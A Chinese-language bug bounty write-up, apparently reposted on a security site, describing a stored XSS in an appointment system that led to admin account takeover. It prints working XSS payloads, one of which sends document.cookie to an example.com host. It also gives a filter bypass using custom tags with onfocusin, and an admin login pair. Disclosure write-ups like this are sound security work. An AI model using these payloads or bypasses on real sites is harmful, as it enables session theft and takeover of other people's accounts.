记一次5657美金赏金的XSS漏洞挖掘经历

VSole2023-06-05 09:20:03

我发现了一个存储的XSS漏洞,我可以通过窃取cookie升级为帐户接管。

我的payload目前需要最少的用户交互,只需单击即可。

如果我仍然找到一个更好的,一个没有用户交互的。

更新这是我的payload: "><xss/id="1"/tabindex="1"/style="font-size:%20100px"/autofocus/onfocusin="confirm%601%60">

与cookie一起消失的payload: "><xss/id="1"/tabindex="1"/style="font-size:%20100px"/autofocus/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">

漏洞复现访问/book-appointment.html并填写所有必填字段,然后单击预订预约。

接下来,复制预约ID并访问/yourappointments.php

粘贴之前复制的ID并检索预约。

之后,向下滚动并单击取消预约。确保您拦截了此请求。

使用以下有效载荷添加消息:

"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">

您通常会收到一个确认框,确认您的预约已取消,单击确定。接下来,访问/login.php并使用提供的凭据登录:drAdmin:s2Wpx5zfUvlSZhspJ。

导航到/drpanel/cancelled.php,然后单击上次取消的预约。

你会看到我们被重定向到https://example.com/?cookie=drps=e7340a3ab0c53934aa368ed55,我们的cookie在cookie参数中。即使管理员注销,此cookie也可以轻松重用。这是因为cookie不会过期。

影响我能够通过取消我们的预约并包含一条消息来接管一个管理员帐户。

背景我花了一些时间才找到这个payload,我首先尝试了一些基本的html标签,并迅速发布了大多数常见的标签被阻止。因为我们不允许使用任何自动化工具,我只是去尝试了自定义标签。

这起作用了:我以为<xss/contenteditable/autofocus/onfocus="">会起作用,但由于onfocus事件处理程序而没有。

这意味着我们必须找到一个具有用户交互的。

这就是我如何通过focusin,这个事件处理程序没有被删除,我再次离实现存储的XSS又近了一步:

在那之后,我很快得到了一个有效的payload。

因为cookie不是httpOnly,我选择了窃取cookie,因为这是实现帐户接管的最简单方法!

最后获得的漏洞赏金:5,000美元+657美元(奖金)

xsscookie
本作品采用《CC 协议》,转载必须注明作者和本文链接
if (search && search.length > 1 && search.charAt(0) === '?写入errcode和errmsg到divCode和divMsg中。其中errcode和errmsg都是我们可控的。只要errcode和errmsg为xss代码,即可触发xss攻击。通过阿里加载js的方式,我们可以改造我们的加载方式如下:
© 2024 WANGAN.COM 帮助网安从业者成长;关注产业发展,做网络安全忠诚卫士!